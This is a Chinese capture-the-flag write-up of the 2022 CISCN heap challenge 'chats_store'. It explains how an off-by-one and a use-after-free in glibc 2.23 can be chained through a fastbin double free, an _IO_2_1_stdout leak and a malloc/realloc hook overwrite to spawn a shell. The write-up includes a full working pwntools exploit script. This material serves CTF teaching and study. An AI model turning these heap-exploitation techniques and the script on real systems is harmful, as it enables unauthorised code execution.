【pwn10 2022 ciscn chats_store】
K3yB0ard
2024年09月26日 16:54
收录于文集
共32篇

一道2022的国赛堆题,用到了IO_FILE泄露libc的利用。

首先看一下程序的保护

checksec

熟悉的保护全开,libc版本为2.23,算是堆题中很低的了,没有double free检查,没有tcache三种攻击思路:

1、打malloc hook、freehook

2、泄露libc、environ打栈上的rop

3、FSOP

看一下程序逻辑:

main

main函数经典菜单题。只有add和free,没有edit和show。

add

add最多申请32个堆块,最大申请堆块0x78,都在fastbin里面。

heap全局数组用于存储堆块指针和size大小。

read像堆块中读入数据时有off by one漏洞,可以伪造堆块大小构造重叠堆块,也可用于扩展free堆块大小,得到Unsorted bin。

delete

delete函数在free之后未置0,存在UAF,在2.23的libc下可以直接构造fastbin的double free,进而任意地址分配堆块(仍需过fastbin的size检查)

程序逻辑看差不多,理一下攻击思路:

1、由于程序没有show和edit,想泄露地址必须要利用IO的_IO_2_1_stdout来泄露。

2、利用off by one伪造堆块size,扩大堆块大小得到Unsorted bin,再利用fastbin的double通过fastbin attack来分配_IO_2_1_stdout附近堆块,

3、通过IO_FILE attack泄露得到libc地址。进而得到one_gadget地址、malloc_hook地址等

4、再次利用fastbin attack分配malloc hook附近堆块写入ogg,然后在程序分配新堆块时触发ogg来getshell。

笔者自行本地测试时发现,几个可用的ogg都无法通过malloc hook直接getshell,这里用到一个新trick,借助realloc来调栈。因为ogg的利用条件基本上都是要求栈上固定偏移位置为0啊或者是有效地址等等,因此可以利用realloc函数中的一些push和pop来调整栈,进而使ogg可用。

借助realloc布置栈需要:

5、写malloc hook为realloc,realloc_hook为one_gadget。realloc hook紧贴malloc_hook前,直接分配一个fake fast chunk一次写入两个hook。

6、程序分配新堆块时有如下调用链子:

malloc->malloc_hook->realloc(调整栈)->realloc_hook->one_gadget->getshell

完整攻击脚本如下:

代码块
JavaScript
自动换行
复制代码
from pwn import *
from Crypto.Util.number import *
context.arch='amd64'
context.log_level='debug'
libc = ELF('./libc-2.23.so')
binary = ELF('./pwn')


r = process('./pwn')
# r = gdb.debug('./pwn','b realloc')
# r = remote()

def add(idx,size,content):
    r.recvuntil(b'> ')
    r.sendline(b'1')
    r.recvuntil(b'chats No. > ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'size> ')
    r.sendline(str(size).encode())
    r.recvuntil(b'chats> ')
    r.send(content)

def free(idx):
    r.recvuntil(b'> ')
    r.sendline(b'2')
    r.recvuntil(b'chats No. > ')
    r.sendline(str(idx).encode())

add(0,0x18,b'a')
add(1,0x68,b'a')
add(2,0x68,b'a')
add(3,0x18,b'a')

free(0)
add(0,0x18,b'a'*0x18+b'\xe1')#off by one 修改堆块size
free(1)#free得到Unsorted bin

add(10,0x68,b'\xdd\x45')#修改堆指针为stdout附近的fake fast
add(11,0x68,b'bbbb')
add(12,0x68,b'cccc')
add(13,0x18,b'dddd')#避免合并top chunk
# add(0,0x58,b'a')

free(12)
free(11)
free(12)#double free
add(11,0x68,b'\x20')#fastbin atack,修改fastbin指针指向10号堆块 ,则有12 chunk ->11 chunk->10 chunk->fake fast
# pause()
add(12,0x68,b'a')
add(13,0x68,b'a')

add(14,0x68,b'a')


add(15,0x68,b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x48')#IO_FILE attack 修改_IO_2_1_stdout泄露libc地址
libc_leek =r.recvuntil(b'\x7f')[-6:][::-1]
libc_base = bytes_to_long(libc_leek)-0x3c46a3

print('libc is ',hex(libc_base))
environ_addr = libc_base+libc.symbols['_environ']
sh = libc_base+next(libc.search(b'/bin/sh\x00'))
system=libc_base+libc.symbols['system']
malloc_hook =libc_base+libc.symbols['__malloc_hook']
realloc_hook =libc_base+libc.symbols['__realloc_hook']
realloc =libc_base+libc.symbols['realloc']
pop_rdi = libc_base+0x21102
print('environ is ',hex(environ_addr))
print('sh addr is ',hex(sh))
print('system is ',hex(system))
print('malloc hook is ',hex(malloc_hook))
print('realloc hook is ',hex(realloc_hook))
print('realloc is ',hex(realloc))
ogg=[0x4525a,0xef9f4,0xf0897]
one_gadget=ogg[0]+libc_base
print('ogg is ',hex(one_gadget))
add(5,0x68,b'a')
add(6,0x68,b'a')
add(7,0x18,b'a')
free(5)
free(6)
free(5)#再次double
add(5,0x68,p64(realloc_hook-0x1b))#fastbin attack分配realloc hook附近堆块
add(6,0x68,b'a')
add(7,0x68,b'a')
add(8,0x68,b'\x00'*0xb+p64(one_gadget)+p64(realloc))# realloc_hook=ogg,malloc_hook=realloc

r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'chats No. > ')
r.sendline(str(1).encode())
r.recvuntil(b'size> ')
r.sendline(str(0x18).encode())#触发malloc->malloc_hook->realloc(调整栈)->realloc_hook->one_gadget->getshell


r.interactive()
复制成功

脚本执行结果:

exp result

成功getshell。

By  Del0n1x

Keyboard